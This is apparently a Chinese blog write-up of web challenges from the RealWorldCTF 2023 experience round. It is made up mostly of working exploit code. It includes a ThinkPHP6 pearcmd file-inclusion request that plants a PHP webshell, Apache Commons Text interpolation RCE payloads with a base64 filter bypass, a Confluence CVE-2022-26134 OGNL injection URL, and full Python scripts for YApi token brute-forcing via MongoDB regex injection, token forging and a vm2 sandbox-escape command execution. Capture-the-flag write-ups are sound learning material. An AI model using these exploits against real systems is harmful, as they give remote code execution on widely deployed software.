RealWorldCTF2023体验赛 部分WEB

WEB

🐑了拼🐑

拼图或者直接搜索js文件代码

Evil Mysql Server

Mysql恶意服务器读取文件,MySQL_Fake_Server或者Rogue-MySql-Server直接读文件,填写vps的ip端口让服务器连接。

Be-a-Language-Expert

前段时间thinkphp6 多语言 pearcmd文件包含那个洞

/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=eval($_POST['cmd'])?>+/tmp/test2.php
/index.php?lang=../../../../../../../../tmp/test2
    
POST 传参 cmd=system%28%27%2Freadflag%27%29%3B 

image-20230108032845964

image-20230108033812933

ApacheCommandText

https://www.ctfiot.com/79054.html

https://commons.apache.org/proper/commons-text/userguide.html

基本格式为${prefix:name},过滤了poc中script、file、url等prefix

支持递归解析,使用编码器进行绕过,可以参考部分Log4j2的绕过方式

https://www.freebuf.com/articles/network/316590.html

${base64Decoder:JHtzY3JpcHQ6amF2YXNjcmlwdDpuZXcgamF2YS5pby5CdWZmZXJlZFJlYWRlcihuZXcgamF2YS5pby5JbnB1dFN0cmVhbVJlYWRlcihqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygnL3JlYWRmbGFnJykuZ2V0SW5wdXRTdHJlYW0oKSkpLnJlYWRMaW5lKCl9}

${script:javascript:new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec('/readflag').getInputStream())).readLine()}

image-20230108032437567

image-20230108032349710

Be-a-Wiki-Hacker

CVE-2022-26134 OGNL注入命令执行

Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)OGNL注入命令执行

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

image-20230107182443145

Yummy Api

YApi <1.12.0 远程命令执行漏洞

Yapi 注入到RCE 漏洞分析

YApi<1.12版本下通过MongoDB的盲注拿到Token后进行RCE的漏洞分析

通过run_auto_test命令执行接口添加自动化测试脚本,这里是个vm2逃逸。根据文章中的脚本缝合一下 依次跑就行

爆破token

import requests

strings = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"


def check_toekn(token:str):
    json_data = {
            'token': token,
            'catid': '1376',
            'path': '/api/group/list',
            'title': '/api/group/list',
            'method': 'GET',
        }
    response = requests.post('http://47.98.161.119:8080/api/interface/add',json=json_data)
    if response.text.find('project_id') == -1:
        print("token is {0}".format(token))
        exit()

payload = ""
while True:
    for i in strings:
        payloads = payload + i
        json_data = {
            'token': {
                '$regex': '^{0}'.format(payloads),
            },
            'catid': '1376',
            'path': '/api/group/list',
            'title': '/api/group/list',
            'method': 'GET',
        }
        response = requests.post('http://47.98.161.119:8080/api/interface/add',json=json_data)
        if response.text.find('project_id') != -1:
            continue
        else:
            payload = payloads
            print(payloads)
            check_toekn(payloads)
            break

token编码

from Crypto.Cipher import AES
from hashlib import md5
import requests

class AESCipher(object):
    class InvalidBlockSizeError(Exception):
        """Raised for invalid block sizes"""
        pass

    def __init__(self, key, block_size=16) -> None:
        if block_size < 2 or block_size > 255:
            raise AESCipher.InvalidBlockSizeError(
                'The block size must be between 2 and 255, inclusive')
        self.block_size = block_size
        self.key, self.iv = self.EVP_BytesToKey(
            key.encode("utf-8"), "".encode("utf-8"), 24, 16)

    def __pad(self, text) -> str:
        text_length = len(text)
        amount_to_pad = self.block_size - (text_length % self.block_size)
        if amount_to_pad == 0:
            amount_to_pad = self.block_size
        self.pad = chr(amount_to_pad)
        return text + self.pad * amount_to_pad

    def __unpad(self, text) -> str:
        text = text.rstrip(self.pad)
        return text

    def encrypt(self, raw) -> str:
        raw = self.__pad(raw).encode()
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return cipher.encrypt(raw).hex()

    def decrypt(self, enc) -> str:
        enc = bytes.fromhex(enc)
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return self.__unpad(cipher.decrypt(enc).decode("utf-8"))

    def EVP_BytesToKey(self, password, salt, key_len, iv_len) -> tuple[bytes, bytes]:
        """
        Derive the key and the IV from the given password and salt.
        """
        dtot = md5(password + salt).digest()
        d = [dtot]
        while len(dtot) < (iv_len+key_len):
            d.append(md5(d[-1] + password + salt).digest())
            dtot += d[-1]
        return dtot[:key_len], dtot[key_len:key_len+iv_len]

aes = AESCipher("abcde", 16)
for i in range(0,100):
    token = aes.encrypt("{0}|8fa743801266b2391d16".format(i))
    reponse = requests.get("http://47.98.161.119:9090/api/project/get?token={0}".format(token))
    if(reponse.text.find("null") == -1):
        print("uid:{0}".format(i))
        print("project_id:{0}".format(reponse.json()["data"]["_id"]))
        print(token)
        exit()

RCE

import requests
import re

token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"
url = f'http://47.98.161.119:9090/api/project/up?token={token}'
headers = {
    "content-type":"application/json"
}
vm2Script = """
let mockJson = constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString()
context.responseData = 'testtest' + mockJson + 'testtest'
console.log(responseData)
"""
body_json = {"id":1,
"pre_script":"",
"after_script":vm2Script}

print(body_json)
id = 1
while id:
    print(id)
    body_json["id"] = id ## 项目id 需要枚举
    resp = requests.post(url=url,headers=headers,json=body_json, timeout=5)
    print(resp.status_code)
    print(resp.text)
    if resp.status_code == 200 and re.search("\"errcode\":0",resp.text):
        print("[*] pre-response 脚本上传成功")
        break
    else:
        print("[*] pre-response 脚本上传失败")
        id+=1
    print(id)

id = 1
while id:
    url =f'http://47.98.161.119:9090/api/open/run_auto_test?id={id}&token={token}&mode=html'
    resp = requests.get(url=url)
    if re.search("YAPI",resp.text) and re.search("<!DOCTYPE html>",resp.text):
        print("[*] 命令执行成功")
        # print(url)
        print("===")
        print(id)
        print(re.search("testtest[\s\S]*testtest",resp.text)[0])
        break
    print(url)
    id += 1

image-20230107202456143

后面发现vulhub有一键脚本 https://github.com/vulhub/vulhub/tree/master/yapi/mongodb-inj

python poc.py --debug one4all -u http://127.0.0.1:3000/

b-1673264674162)]

后面发现vulhub有一键脚本 https://github.com/vulhub/vulhub/tree/master/yapi/mongodb-inj

python poc.py --debug one4all -u http://127.0.0.1:3000/
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值